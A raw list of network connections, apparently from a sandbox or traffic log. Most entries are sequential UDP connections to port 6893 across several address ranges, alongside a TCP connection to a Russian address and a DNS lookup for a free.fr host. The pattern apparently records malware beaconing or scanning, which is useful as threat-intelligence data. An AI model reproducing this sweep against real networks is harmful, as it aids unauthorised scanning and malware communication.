FR 87.98.178.161:6893 udp
FR 87.98.178.162:6893 udp
FR 87.98.178.163:6893 udp
FR 87.98.178.164:6893 udp
FR 87.98.178.165:6893 udp
FR 87.98.178.166:6893 udp
FR 87.98.178.167:6893 udp
FR 87.98.178.168:6893 udp
FR 87.98.178.169:6893 udp
FR 87.98.178.170:6893 udp
FR 87.98.178.171:6893 udp
FR 87.98.178.172:6893 udp
FR 87.98.178.173:6893 udp
FR 87.98.178.174:6893 udp
FR 87.98.178.175:6893 udp
FR 87.98.178.176:6893 udp
FR 87.98.178.177:6893 udp
FR 87.98.178.178:6893 udp
FR 87.98.178.179:6893 udp
FR 87.98.178.180:6893 udp
FR 87.98.178.181:6893 udp
FR 87.98.178.182:6893 udp
FR 87.98.178.183:6893 udp
FR 87.98.178.184:6893 udp
FR 87.98.178.185:6893 udp
FR 87.98.178.186:6893 udp
FR 87.98.178.187:6893 udp
FR 87.98.178.188:6893 udp
FR 87.98.178.189:6893 udp
FR 87.98.178.190:6893 udp
FR 87.98.178.191:6893 udp
FR 87.98.178.192:6893 udp
FR 87.98.178.193:6893 udp
FR 87.98.178.194:6893 udp
FR 87.98.178.195:6893 udp
FR 87.98.178.196:6893 udp
FR 87.98.178.197:6893 udp
FR 87.98.178.198:6893 udp
FR 87.98.178.199:6893 udp
FR 87.98.178.200:6893 udp
FR 87.98.178.201:6893 udp
FR 87.98.178.202:6893 udp
FR 87.98.178.203:6893 udp
FR 87.98.178.204:6893 udp
FR 87.98.178.205:6893 udp
FR 87.98.178.206:6893 udp
FR 87.98.178.207:6893 udp
FR 87.98.178.208:6893 udp
FR 87.98.178.209:6893 udp
FR 87.98.178.210:6893 udp
FR 87.98.178.211:6893 udp
FR 87.98.178.212:6893 udp
FR 87.98.178.213:6893 udp
FR 87.98.178.214:6893 udp
FR 87.98.178.215:6893 udp
FR 87.98.178.216:6893 udp
FR 87.98.178.217:6893 udp
FR 87.98.178.218:6893 udp
FR 87.98.178.219:6893 udp
FR 87.98.178.220:6893 udp
FR 87.98.178.221:6893 udp
FR 87.98.178.222:6893 udp
FR 87.98.178.223:6893 udp
FR 87.98.178.224:6893 udp
FR 87.98.178.225:6893 udp
FR 87.98.178.226:6893 udp
FR 87.98.178.227:6893 udp
FR 87.98.178.228:6893 udp
FR 87.98.178.229:6893 udp
FR 87.98.178.230:6893 udp
FR 87.98.178.231:6893 udp
FR 87.98.178.232:6893 udp
FR 87.98.178.233:6893 udp
FR 87.98.178.234:6893 udp
FR 87.98.178.235:6893 udp
FR 87.98.178.236:6893 udp
FR 87.98.178.237:6893 udp
FR 87.98.178.238:6893 udp
FR 87.98.178.239:6893 udp
FR 87.98.178.240:6893 udp
FR 87.98.178.241:6893 udp
FR 87.98.178.242:6893 udp
FR 87.98.178.243:6893 udp
FR 87.98.178.244:6893 udp
FR 87.98.178.245:6893 udp
FR 87.98.178.246:6893 udp
FR 87.98.178.247:6893 udp
FR 87.98.178.248:6893 udp
FR 87.98.178.249:6893 udp
FR 87.98.178.250:6893 udp
FR 87.98.178.251:6893 udp
FR 87.98.178.252:6893 udp
FR 87.98.178.253:6893 udp
FR 87.98.178.254:6893 udp
FR 87.98.178.255:6893 udp
FR 87.98.179.0:6893 udp
FR 87.98.179.1:6893 udp
FR 87.98.179.2:6893 udp
FR 87.98.179.3:6893 udp
FR 87.98.179.4:6893 udp
FR 87.98.179.5:6893 udp
FR 87.98.179.6:6893 udp
FR 87.98.179.7:6893 udp
FR 87.98.179.8:6893 udp
FR 87.98.179.9:6893 udp
FR 87.98.179.10:6893 udp
FR 87.98.179.11:6893 udp
FR 87.98.179.12:6893 udp
FR 87.98.179.13:6893 udp
FR 87.98.179.14:6893 udp
FR 87.98.179.15:6893 udp
FR 87.98.179.16:6893 udp
FR 87.98.179.17:6893 udp
FR 87.98.179.18:6893 udp
FR 87.98.179.19:6893 udp
FR 87.98.179.20:6893 udp
FR 87.98.179.21:6893 udp
FR 87.98.179.22:6893 udp
FR 87.98.179.23:6893 udp
FR 87.98.179.24:6893 udp
FR 87.98.179.25:6893 udp
FR 87.98.179.26:6893 udp
FR 87.98.179.27:6893 udp
FR 87.98.179.28:6893 udp
FR 87.98.179.29:6893 udp
FR 87.98.179.30:6893 udp
FR 87.98.179.31:6893 udp
FR 87.98.179.32:6893 udp
FR 87.98.179.33:6893 udp
FR 87.98.179.34:6893 udp
FR 87.98.179.35:6893 udp
FR 87.98.179.36:6893 udp
FR 87.98.179.37:6893 udp
FR 87.98.179.38:6893 udp
FR 87.98.179.39:6893 udp
FR 87.98.179.40:6893 udp
FR 87.98.179.41:6893 udp
FR 87.98.179.42:6893 udp
FR 87.98.179.43:6893 udp
FR 87.98.179.44:6893 udp
FR 87.98.179.45:6893 udp
FR 87.98.179.46:6893 udp
FR 87.98.179.47:6893 udp
FR 87.98.179.48:6893 udp
FR 87.98.179.49:6893 udp
FR 87.98.179.50:6893 udp
FR 87.98.179.51:6893 udp
FR 87.98.179.52:6893 udp
FR 87.98.179.53:6893 udp
FR 87.98.179.54:6893 udp
FR 87.98.179.55:6893 udp
FR 87.98.179.56:6893 udp
FR 87.98.179.57:6893 udp
FR 87.98.179.58:6893 udp
FR 87.98.179.59:6893 udp
FR 87.98.179.60:6893 udp
FR 87.98.179.61:6893 udp
FR 87.98.179.62:6893 udp
FR 87.98.179.63:6893 udp
FR 87.98.179.64:6893 udp
FR 87.98.179.65:6893 udp
FR 87.98.179.66:6893 udp
FR 87.98.179.67:6893 udp
FR 87.98.179.68:6893 udp
FR 87.98.179.69:6893 udp
FR 87.98.179.70:6893 udp
FR 87.98.179.71:6893 udp
FR 87.98.179.72:6893 udp
FR 87.98.179.73:6893 udp
FR 87.98.179.74:6893 udp
FR 87.98.179.75:6893 udp
FR 87.98.179.76:6893 udp
FR 87.98.179.77:6893 udp
FR 87.98.179.78:6893 udp
FR 87.98.179.79:6893 udp
FR 87.98.179.80:6893 udp
FR 87.98.179.81:6893 udp
FR 87.98.179.82:6893 udp
FR 87.98.179.83:6893 udp
FR 87.98.179.84:6893 udp
FR 87.98.179.85:6893 udp
FR 87.98.179.86:6893 udp
FR 87.98.179.87:6893 udp
FR 87.98.179.88:6893 udp
FR 87.98.179.89:6893 udp
FR 87.98.179.90:6893 udp
FR 87.98.179.91:6893 udp
FR 87.98.179.92:6893 udp
FR 87.98.179.93:6893 udp
FR 87.98.179.94:6893 udp
FR 87.98.179.95:6893 udp
FR 87.98.179.96:6893 udp
FR 87.98.179.97:6893 udp
FR 87.98.179.98:6893 udp
FR 87.98.179.99:6893 udp
FR 87.98.179.100:6893 udp
FR 87.98.179.101:6893 udp
FR 87.98.179.102:6893 udp
FR 87.98.179.103:6893 udp
FR 87.98.179.104:6893 udp
FR 87.98.179.105:6893 udp
FR 87.98.179.106:6893 udp
FR 87.98.179.107:6893 udp
FR 87.98.179.108:6893 udp
FR 87.98.179.109:6893 udp
FR 87.98.179.110:6893 udp
FR 87.98.179.111:6893 udp
FR 87.98.179.112:6893 udp
FR 87.98.179.113:6893 udp
FR 87.98.179.114:6893 udp
FR 87.98.179.115:6893 udp
FR 87.98.179.116:6893 udp
FR 87.98.179.117:6893 udp
FR 87.98.179.118:6893 udp
FR 87.98.179.119:6893 udp
FR 87.98.179.120:6893 udp
FR 87.98.179.121:6893 udp
FR 87.98.179.122:6893 udp
FR 87.98.179.123:6893 udp
FR 87.98.179.124:6893 udp
FR 87.98.179.125:6893 udp
FR 87.98.179.126:6893 udp
FR 87.98.179.127:6893 udp
FR 87.98.179.128:6893 udp
FR 87.98.179.129:6893 udp
FR 87.98.179.130:6893 udp
FR 87.98.179.131:6893 udp
FR 87.98.179.132:6893 udp
FR 87.98.179.133:6893 udp
FR 87.98.179.134:6893 udp
FR 87.98.179.135:6893 udp
FR 87.98.179.136:6893 udp
FR 87.98.179.137:6893 udp
FR 87.98.179.138:6893 udp
FR 87.98.179.139:6893 udp
FR 87.98.179.140:6893 udp
FR 87.98.179.141:6893 udp
FR 87.98.179.142:6893 udp
FR 87.98.179.143:6893 udp
FR 87.98.179.144:6893 udp
FR 87.98.179.145:6893 udp
FR 87.98.179.146:6893 udp
FR 87.98.179.147:6893 udp
FR 87.98.179.148:6893 udp
FR 87.98.179.149:6893 udp
FR 87.98.179.150:6893 udp
FR 87.98.179.151:6893 udp
FR 87.98.179.152:6893 udp
FR 87.98.179.153:6893 udp
FR 87.98.179.154:6893 udp
FR 87.98.179.155:6893 udp
FR 87.98.179.156:6893 udp
FR 87.98.179.157:6893 udp
FR 87.98.179.158:6893 udp
FR 87.98.179.159:6893 udp
FR 87.98.179.160:6893 udp
FR 87.98.179.161:6893 udp
FR 87.98.179.162:6893 udp
FR 87.98.179.163:6893 udp
FR 87.98.179.164:6893 udp
FR 87.98.179.165:6893 udp
FR 87.98.179.166:6893 udp
FR 87.98.179.167:6893 udp
FR 87.98.179.168:6893 udp
FR 87.98.179.169:6893 udp
FR 87.98.179.170:6893 udp
FR 87.98.179.171:6893 udp
FR 87.98.179.172:6893 udp
FR 87.98.179.173:6893 udp
FR 87.98.179.174:6893 udp
FR 87.98.179.175:6893 udp
FR 87.98.179.176:6893 udp
FR 87.98.179.177:6893 udp
FR 87.98.179.178:6893 udp
FR 87.98.179.179:6893 udp
FR 87.98.179.180:6893 udp
FR 87.98.179.181:6893 udp
FR 87.98.179.182:6893 udp
FR 87.98.179.183:6893 udp
FR 87.98.179.184:6893 udp
FR 87.98.179.185:6893 udp
FR 87.98.179.186:6893 udp
FR 87.98.179.187:6893 udp
FR 87.98.179.188:6893 udp
FR 87.98.179.189:6893 udp
FR 87.98.179.190:6893 udp
FR 87.98.179.191:6893 udp
FR 87.98.179.192:6893 udp
FR 87.98.179.193:6893 udp
FR 87.98.179.194:6893 udp
FR 87.98.179.195:6893 udp
FR 87.98.179.196:6893 udp
FR 87.98.179.197:6893 udp
FR 87.98.179.198:6893 udp
FR 87.98.179.199:6893 udp
FR 87.98.179.200:6893 udp
FR 87.98.179.201:6893 udp
FR 87.98.179.202:6893 udp
FR 87.98.179.203:6893 udp
FR 87.98.179.204:6893 udp
FR 87.98.179.205:6893 udp
FR 87.98.179.206:6893 udp
FR 87.98.179.207:6893 udp
FR 87.98.179.208:6893 udp
FR 87.98.179.209:6893 udp
FR 87.98.179.210:6893 udp
FR 87.98.179.211:6893 udp
FR 87.98.179.212:6893 udp
FR 87.98.179.213:6893 udp
FR 87.98.179.214:6893 udp
FR 87.98.179.215:6893 udp
FR 87.98.179.216:6893 udp
FR 87.98.179.217:6893 udp
FR 87.98.179.218:6893 udp
FR 87.98.179.219:6893 udp
FR 87.98.179.220:6893 udp
FR 87.98.179.221:6893 udp
FR 87.98.179.222:6893 udp
FR 87.98.179.223:6893 udp
FR 87.98.179.224:6893 udp
FR 87.98.179.225:6893 udp
FR 87.98.179.226:6893 udp
FR 87.98.179.227:6893 udp
FR 87.98.179.228:6893 udp
FR 87.98.179.229:6893 udp
FR 87.98.179.230:6893 udp
FR 87.98.179.231:6893 udp
FR 87.98.179.232:6893 udp
FR 87.98.179.233:6893 udp
FR 87.98.179.234:6893 udp
FR 87.98.179.235:6893 udp
FR 87.98.179.236:6893 udp
FR 87.98.179.237:6893 udp
FR 87.98.179.238:6893 udp
FR 87.98.179.239:6893 udp
FR 87.98.179.240:6893 udp
FR 87.98.179.241:6893 udp
FR 87.98.179.242:6893 udp
FR 87.98.179.243:6893 udp
FR 87.98.179.244:6893 udp
FR 87.98.179.245:6893 udp
FR 87.98.179.246:6893 udp
FR 87.98.179.247:6893 udp
FR 87.98.179.248:6893 udp
FR 87.98.179.249:6893 udp
FR 87.98.179.250:6893 udp
FR 87.98.179.251:6893 udp
FR 87.98.179.252:6893 udp
FR 87.98.179.253:6893 udp
FR 87.98.179.254:6893 udp
FR 87.98.179.255:6893 udp
RU 77.91.68.21:80 77.91.68.21 tcp
IE 93.107.12.0:6893 udp
IE 93.107.12.1:6893 udp
IE 93.107.12.2:6893 udp
IE 93.107.12.3:6893 udp
IE 93.107.12.4:6893 udp
IE 93.107.12.5:6893 udp
IE 93.107.12.6:6893 udp
IE 93.107.12.7:6893 udp
IE 93.107.12.8:6893 udp
IE 93.107.12.9:6893 udp
IE 93.107.12.10:6893 udp
IE 93.107.12.11:6893 udp
IE 93.107.12.12:6893 udp
IE 93.107.12.13:6893 udp
IE 93.107.12.14:6893 udp
IE 93.107.12.15:6893 udp
IE 93.107.12.16:6893 udp
IE 93.107.12.17:6893 udp
IE 93.107.12.18:6893 udp
IE 93.107.12.19:6893 udp
IE 93.107.12.20:6893 udp
IE 93.107.12.21:6893 udp
IE 93.107.12.22:6893 udp
IE 93.107.12.23:6893 udp
IE 93.107.12.24:6893 udp
IE 93.107.12.25:6893 udp
IE 93.107.12.26:6893 udp
IE 93.107.12.27:6893 udp
IE 93.107.12.28:6893 udp
IE 93.107.12.29:6893 udp
IE 93.107.12.30:6893 udp
IE 93.107.12.31:6893 udp
TR 95.1.200.0:6893 udp
TR 95.1.200.1:6893 udp
TR 95.1.200.2:6893 udp
TR 95.1.200.3:6893 udp
TR 95.1.200.4:6893 udp
TR 95.1.200.5:6893 udp
TR 95.1.200.6:6893 udp
TR 95.1.200.7:6893 udp
TR 95.1.200.8:6893 udp
TR 95.1.200.9:6893 udp
TR 95.1.200.10:6893 udp
TR 95.1.200.11:6893 udp
TR 95.1.200.12:6893 udp
TR 95.1.200.13:6893 udp
TR 95.1.200.14:6893 udp
TR 95.1.200.15:6893 udp
TR 95.1.200.16:6893 udp
TR 95.1.200.17:6893 udp
TR 95.1.200.18:6893 udp
TR 95.1.200.19:6893 udp
TR 95.1.200.20:6893 udp
TR 95.1.200.21:6893 udp
TR 95.1.200.22:6893 udp
TR 95.1.200.23:6893 udp
TR 95.1.200.24:6893 udp
TR 95.1.200.25:6893 udp
TR 95.1.200.26:6893 udp
TR 95.1.200.27:6893 udp
TR 95.1.200.28:6893 udp
TR 95.1.200.29:6893 udp
TR 95.1.200.30:6893 udp
TR 95.1.200.31:6893 udp
FR 87.98.176.0:6893 udp
FR 87.98.176.1:6893 udp
FR 87.98.176.2:6893 udp
FR 87.98.176.3:6893 udp
FR 87.98.176.4:6893 udp
FR 87.98.176.5:6893 udp
FR 87.98.176.6:6893 udp
FR 87.98.176.7:6893 udp
FR 87.98.176.8:6893 udp
FR 87.98.176.9:6893 udp
FR 87.98.176.10:6893 udp
FR 87.98.176.11:6893 udp
FR 87.98.176.12:6893 udp
FR 87.98.176.13:6893 udp
FR 87.98.176.14:6893 udp
FR 87.98.176.15:6893 udp
FR 87.98.176.16:6893 udp
FR 87.98.176.17:6893 udp
FR 87.98.176.18:6893 udp
FR 87.98.176.19:6893 udp
FR 87.98.176.20:6893 udp
FR 87.98.176.21:6893 udp
FR 87.98.176.22:6893 udp
FR 87.98.176.23:6893 udp
FR 87.98.176.24:6893 udp
FR 87.98.176.25:6893 udp
FR 87.98.176.26:6893 udp
FR 87.98.176.27:6893 udp
FR 87.98.176.28:6893 udp
FR 87.98.176.29:6893 udp
FR 87.98.176.30:6893 udp
FR 87.98.176.31:6893 udp
FR 87.98.176.32:6893 udp
FR 87.98.176.33:6893 udp
FR 87.98.176.34:6893 udp
FR 87.98.176.35:6893 udp
FR 87.98.176.36:6893 udp
FR 87.98.176.37:6893 udp
FR 87.98.176.38:6893 udp
FR 87.98.176.39:6893 udp
FR 87.98.176.40:6893 udp
FR 87.98.176.41:6893 udp
FR 87.98.176.42:6893 udp
FR 87.98.176.43:6893 udp
FR 87.98.176.44:6893 udp
FR 87.98.176.45:6893 udp
FR 87.98.176.46:6893 udp
FR 87.98.176.47:6893 udp
FR 87.98.176.48:6893 udp
FR 87.98.176.49:6893 udp
FR 87.98.176.50:6893 udp
FR 87.98.176.51:6893 udp
FR 87.98.176.52:6893 udp
FR 87.98.176.53:6893 udp
FR 87.98.176.54:6893 udp
FR 87.98.176.55:6893 udp
FR 87.98.176.56:6893 udp
FR 87.98.176.57:6893 udp
FR 87.98.176.58:6893 udp
FR 87.98.176.59:6893 udp
FR 87.98.176.60:6893 udp
FR 87.98.176.61:6893 udp
FR 87.98.176.62:6893 udp
FR 87.98.176.63:6893 udp
FR 87.98.176.64:6893 udp
FR 87.98.176.65:6893 udp
FR 87.98.176.66:6893 udp
FR 87.98.176.67:6893 udp
FR 87.98.176.68:6893 udp
FR 87.98.176.69:6893 udp
FR 87.98.176.70:6893 udp
FR 87.98.176.71:6893 udp
FR 87.98.176.72:6893 udp
FR 87.98.176.73:6893 udp
FR 87.98.176.74:6893 udp
FR 87.98.176.75:6893 udp
FR 87.98.176.76:6893 udp
FR 87.98.176.77:6893 udp
FR 87.98.176.78:6893 udp
FR 87.98.176.79:6893 udp
FR 87.98.176.80:6893 udp
FR 87.98.176.81:6893 udp
FR 87.98.176.82:6893 udp
FR 87.98.176.83:6893 udp
FR 87.98.176.84:6893 udp
FR 87.98.176.85:6893 udp
FR 87.98.176.86:6893 udp
FR 87.98.176.87:6893 udp
FR 87.98.176.88:6893 udp
FR 87.98.176.89:6893 udp
FR 87.98.176.90:6893 udp
FR 87.98.176.91:6893 udp
FR 87.98.176.92:6893 udp
FR 87.98.176.93:6893 udp
FR 87.98.176.94:6893 udp
FR 87.98.176.95:6893 udp
FR 87.98.176.96:6893 udp
FR 87.98.176.97:6893 udp
FR 87.98.176.98:6893 udp
FR 87.98.176.99:6893 udp
FR 87.98.176.100:6893 udp
FR 87.98.176.101:6893 udp
FR 87.98.176.102:6893 udp
FR 87.98.176.103:6893 udp
FR 87.98.176.104:6893 udp
FR 87.98.176.105:6893 udp
FR 87.98.176.106:6893 udp
FR 87.98.176.107:6893 udp
FR 87.98.176.108:6893 udp
FR 87.98.176.109:6893 udp
FR 87.98.176.110:6893 udp
FR 87.98.176.111:6893 udp
FR 87.98.176.112:6893 udp
FR 87.98.176.113:6893 udp
FR 87.98.176.114:6893 udp
FR 87.98.176.115:6893 udp
FR 87.98.176.116:6893 udp
FR 87.98.176.117:6893 udp
FR 87.98.176.118:6893 udp
FR 87.98.176.119:6893 udp
FR 87.98.176.120:6893 udp
FR 87.98.176.121:6893 udp
FR 87.98.176.122:6893 udp
FR 87.98.176.123:6893 udp
FR 87.98.176.124:6893 udp
FR 87.98.176.125:6893 udp
FR 87.98.176.126:6893 udp
FR 87.98.176.127:6893 udp
FR 87.98.176.128:6893 udp
FR 87.98.176.129:6893 udp
FR 87.98.176.130:6893 udp
FR 87.98.176.131:6893 udp
FR 87.98.176.132:6893 udp
FR 87.98.176.133:6893 udp
FR 87.98.176.134:6893 udp
FR 87.98.176.135:6893 udp
FR 87.98.176.136:6893 udp
FR 87.98.176.137:6893 udp
FR 87.98.176.138:6893 udp
FR 87.98.176.139:6893 udp
FR 87.98.176.140:6893 udp
FR 87.98.176.141:6893 udp
FR 87.98.176.142:6893 udp
FR 87.98.176.143:6893 udp
FR 87.98.176.144:6893 udp
FR 87.98.176.145:6893 udp
FR 87.98.176.146:6893 udp
FR 87.98.176.147:6893 udp
FR 87.98.176.148:6893 udp
FR 87.98.176.149:6893 udp
FR 87.98.176.150:6893 udp
FR 87.98.176.151:6893 udp
FR 87.98.176.152:6893 udp
FR 87.98.176.153:6893 udp
FR 87.98.176.154:6893 udp
FR 87.98.176.155:6893 udp
FR 87.98.176.156:6893 udp
FR 87.98.176.157:6893 udp
FR 87.98.176.158:6893 udp
FR 87.98.176.159:6893 udp
FR 87.98.176.160:6893 udp
FR 87.98.176.161:6893 udp
FR 87.98.176.162:6893 udp
FR 87.98.176.163:6893 udp
FR 87.98.176.164:6893 udp
FR 87.98.176.165:6893 udp
FR 87.98.176.166:6893 udp
FR 87.98.176.167:6893 udp
FR 87.98.176.168:6893 udp
FR 87.98.176.169:6893 udp
FR 87.98.176.170:6893 udp
FR 87.98.176.171:6893 udp
FR 87.98.176.172:6893 udp
FR 87.98.176.173:6893 udp
FR 87.98.176.174:6893 udp
FR 87.98.176.175:6893 udp
FR 87.98.176.176:6893 udp
FR 87.98.176.177:6893 udp
FR 87.98.176.178:6893 udp
FR 87.98.176.179:6893 udp
FR 87.98.176.180:6893 udp
FR 87.98.176.181:6893 udp
FR 87.98.176.182:6893 udp
FR 87.98.176.183:6893 udp
FR 87.98.176.184:6893 udp
FR 87.98.176.185:6893 udp
FR 87.98.176.186:6893 udp
FR 87.98.176.187:6893 udp
FR 87.98.176.188:6893 udp
FR 87.98.176.189:6893 udp
FR 87.98.176.190:6893 udp
FR 87.98.176.191:6893 udp
FR 87.98.176.192:6893 udp
FR 87.98.176.193:6893 udp
FR 87.98.176.194:6893 udp
FR 87.98.176.195:6893 udp
FR 87.98.176.196:6893 udp
FR 87.98.176.197:6893 udp
FR 87.98.176.198:6893 udp
FR 87.98.176.199:6893 udp
FR 87.98.176.200:6893 udp
FR 87.98.176.201:6893 udp
FR 87.98.176.202:6893 udp
FR 87.98.176.203:6893 udp
FR 87.98.176.204:6893 udp
FR 87.98.176.205:6893 udp
FR 87.98.176.206:6893 udp
FR 87.98.176.207:6893 udp
FR 87.98.176.208:6893 udp
FR 87.98.176.209:6893 udp
FR 87.98.176.210:6893 udp
FR 87.98.176.211:6893 udp
FR 87.98.176.212:6893 udp
FR 87.98.176.213:6893 udp
FR 87.98.176.214:6893 udp
FR 87.98.176.215:6893 udp
FR 87.98.176.216:6893 udp
FR 87.98.176.217:6893 udp
FR 87.98.176.218:6893 udp
FR 87.98.176.219:6893 udp
FR 87.98.176.220:6893 udp
FR 87.98.176.221:6893 udp
FR 87.98.176.222:6893 udp
FR 87.98.176.223:6893 udp
FR 87.98.176.224:6893 udp
FR 87.98.176.225:6893 udp
FR 87.98.176.226:6893 udp
FR 87.98.176.227:6893 udp
FR 87.98.176.228:6893 udp
FR 87.98.176.229:6893 udp
FR 87.98.176.230:6893 udp
FR 87.98.176.231:6893 udp
FR 87.98.176.232:6893 udp
FR 87.98.176.233:6893 udp
FR 87.98.176.234:6893 udp
FR 87.98.176.235:6893 udp
FR 87.98.176.236:6893 udp
FR 87.98.176.237:6893 udp
FR 87.98.176.238:6893 udp
FR 87.98.176.239:6893 udp
FR 87.98.176.240:6893 udp
FR 87.98.176.241:6893 udp
FR 87.98.176.242:6893 udp
FR 87.98.176.243:6893 udp
FR 87.98.176.244:6893 udp
FR 87.98.176.245:6893 udp
FR 87.98.176.246:6893 udp
FR 87.98.176.247:6893 udp
FR 87.98.176.248:6893 udp
FR 87.98.176.249:6893 udp
FR 87.98.176.250:6893 udp
FR 87.98.176.251:6893 udp
FR 87.98.176.252:6893 udp
FR 87.98.176.253:6893 udp
FR 87.98.176.254:6893 udp
US 8.8.8.8:53 dom.daf.free.fr udp
FR 212.27.63.116:80 dom.daf.free.fr tcp
FR 87.98.176.255:6893 udp
FR 87.98.177.0:6893 udp
FR 87.98.177.1:6893 udp
FR 87.98.177.2:6893 udp
FR 87.98.177.3:6893 udp
FR 87.98.177.4:6893 udp
FR 87.98.177.5:6893 udp
FR 87.98.177.6:6893 udp
FR 87.98.177.7:6893 udp
FR 87.98.177.8:6893 udp
FR 87.98.177.9:6893 udp
FR 87.98.177.10:6893 udp
FR 87.98.177.11:6893 udp
FR 87.98.177.12:6893 udp
FR 87.98.177.13:6893 udp
FR 87.98.177.14:6893 udp
FR 87.98.177.15:6893 udp
FR 87.98.177.16:6893 udp
FR 87.98.177.17:6893 udp
FR 87.98.177.18:6893 udp
FR 87.98.177.19:6893 udp
FR 87.98.177.20:6893 udp
FR 87.98.177.21:6893 udp
FR 87.98.177.22:6893 udp
FR 87.98.177.23:6893 udp
FR 87.98.177.24:6893 udp
FR 87.98.177.25:6893 udp
FR 87.98.177.26:6893 udp
FR 87.98.177.27:6893 udp
FR 87.98.177.28:6893 udp
FR 87.98.177.29:6893 udp
FR 87.98.177.30:6893 udp
FR 87.98.177.31:6893 udp
FR 87.98.177.32:6893 udp
FR 87.98.177.33:6893 udp
FR 87.98.177.34:6893 udp
FR 87.98.177.35:6893 udp
FR 87.98.177.36:6893 udp
FR 87.98.177.37:6893 udp
FR 87.98.177.38:6893 udp
FR 87.98.177.39:6893 udp
FR 87.98.177.40:6893 udp
FR 87.98.177.41:6893 udp
FR 87.98.177.42:6893 udp
FR 87.98.177.43:6893 udp
FR 87.98.177.44:6893 udp
FR 87.98.177.45:6893 udp
FR 87.98.177.46:6893 udp
FR 87.98.177.47:6893 udp
FR 87.98.177.48:6893 udp
FR 87.98.177.49:6893 udp
FR 87.98.177.50:6893 udp
FR 87.98.177.51:6893 udp
FR 87.98.177.52:6893 udp
FR 87.98.177.53:6893 udp
FR 87.98.177.54:6893 udp
FR 87.98.177.55:6893 udp
FR 87.98.177.56:6893 udp
FR 87.98.177.57:6893 udp
FR 87.98.177.58:6893 udp
FR 87.98.177.59:6893 udp
FR 87.98.177.60:6893 udp
FR 87.98.177.61:6893 udp
FR 87.98.177.62:6893 udp
FR 87.98.177.63:6893 udp
FR 87.98.177.64:6893 udp
FR 87.98.177.65:6893 udp
FR 87.98.177.66:6893 udp
FR 87.98.177.67:6893 udp
FR 87.98.177.68:6893 udp
FR 87.98.177.69:6893 udp
FR 87.98.177.70:6893 udp
FR 87.98.177.71:6893 udp
FR 87.98.177.72:6893 udp
FR 87.98.177.73:6893 udp
FR 87.98.177.74:6893 udp
FR 87.98.177.75:6893 udp
FR 87.98.177.76:6893 udp
FR 87.98.177.77:6893 udp
FR 87.98.177.78:6893 udp
FR 87.98.177.79:6893 udp
FR 87.98.177.80:6893 udp
FR 87.98.177.81:6893 udp
FR 87.98.177.82:6893 udp
FR 87.98.177.83:6893 udp
FR 87.98.177.84:6893 udp
FR 87.98.177.85:6893 udp
FR 87.98.177.86:6893 udp
FR 87.98.177.87:6893 udp
FR 87.98.177.88:6893 udp
FR 87.98.177.89:6893 udp
FR 87.98.177.90:6893 udp
FR 87.98.177.91:6893 udp
FR 87.98.177.92:6893 udp
FR 87.98.177.93:6893 udp
FR 87.98.177.94:6893 udp
FR 87.98.177.95:6893 udp
FR 87.98.177.96:6893 udp
FR 87.98.177.97:6893 udp
FR 87.98.177.98:6893 udp
FR 87.98.177.99:6893 udp
FR 87.98.177.100:6893 udp
FR 87.98.177.101:6893 udp
FR 87.98.177.102:6893 udp
FR 87.98.177.103:6893 udp
FR 87.98.177.104:6893 udp
FR 87.98.177.105:6893 udp
FR 87.98.177.106:6893 udp
FR 87.98.177.107:6893 udp
FR 87.98.177.108:6893 udp
FR 87.98.177.109:6893 udp
FR 87.98.177.110:6893 udp
FR 87.98.177.111:6893 udp
FR 87.98.177.112:6893 udp
FR 87.98.177.113:6893 udp
FR 87.98.177.114:6893 udp
FR 87.98.177.115:6893 udp
FR 87.98.177.116:6893 udp
FR 87.98.177.117:6893 udp
FR 87.98.177.118:6893 udp
FR 87.98.177.119:6893 udp
FR 87.98.177.120:6893 udp
FR 87.98.177.121:6893 udp
FR 87.98.177.122:6893 udp
FR 87.98.177.123:6893 udp
FR 87.98.177.124:6893 udp
FR 87.98.177.125:6893 udp
FR 87.98.177.126:6893 udp
FR 87.98.177.127:6893 udp
FR 87.98.177.128:6893 udp
FR 87.98.177.129:6893 udp
FR 87.98.177.130:6893 udp
FR 87.98.177.131:6893 udp
FR 87.98.177.132:6893 udp
FR 87.98.177.133:6893 udp
FR 87.98.177.134:6893 udp
FR 87.98.177.135:6893 udp
FR 87.98.177.136:6893 udp
FR 87.98.177.137:6893 udp
FR 87.98.177.138:6893 udp
FR 87.98.177.139:6893 udp
FR 87.98.177.140:6893 udp
FR 87.98.177.141:6893 udp
FR 87.98.177.142:6893 udp
FR 87.98.177.143:6893 udp
FR 87.98.177.144:6893 udp
FR 87.98.177.145:6893 udp
FR 87.98.177.146:6893 udp
FR 87.98.177.147:6893 udp
FR 87.98.177.148:6893 udp
FR 87.98.177.149:6893 udp
FR 87.98.177.150:6893 udp
FR 87.98.177.151:6893 udp
FR 87.98.177.152:6893 udp
FR 87.98.177.153:6893 udp
FR 87.98.177.154:6893 udp
FR 87.98.177.155:6893 udp
FR 87.98.177.156:6893 udp
FR 87.98.177.157:6893 udp
FR 87.98.177.158:6893 udp
FR 87.98.177.159:6893 udp
FR 87.98.177.160:6893 udp
FR 87.98.177.161:6893 udp
FR 87.98.177.162:6893 udp
FR 87.98.177.163:6893 udp
FR 87.98.177.164:6893 udp
FR 87.98.177.165:6893 udp
FR 87.98.177.166:6893 udp
FR 87.98.177.167:6893 udp
FR 87.98.177.168:6893 udp
FR 87.98.177.169:6893 udp
FR 87.98.177.170:6893 udp
FR 87.98.177.171:6893 udp
FR 87.98.177.172:6893 udp
FR 87.98.177.173:6893 udp
FR 87.98.177.174:6893 udp
FR 87.98.177.175:6893 udp
FR 87.98.177.176:6893 udp
FR 87.98.177.177:6893 udp
FR 87.98.177.178:6893 udp
FR 87.98.177.179:6893 udp
FR 87.98.177.180:6893 udp
FR 87.98.177.181:6893 udp
FR 87.98.177.182:6893 udp
FR 87.98.177.183:6893 udp
FR 87.98.177.184:6893 udp
FR 87.98.177.185:6893 udp
FR 87.98.177.186:6893 udp
FR 87.98.177.187:6893 udp
FR 87.98.177.188:6893 udp
FR 87.98.177.189:6893 udp
FR 87.98.177.190:6893 udp
FR 87.98.177.191:6893 udp
FR 87.98.177.192:6893 udp
FR 87.98.177.193:6893 udp
FR 87.98.177.194:6893 udp
FR 87.98.177.195:6893 udp
FR 87.98.177.196:6893 udp
FR 87.98.177.197:6893 udp
FR 87.98.177.198:6893 udp
FR 87.98.177.199:6893 udp
FR 87.98.177.200:6893 udp
FR 87.98.177.201:6893 udp
FR 87.98.177.202:6893 udp
FR 87.98.177.203:6893 udp
FR 87.98.177.204:6893 udp
FR 87.98.177.205:6893 udp
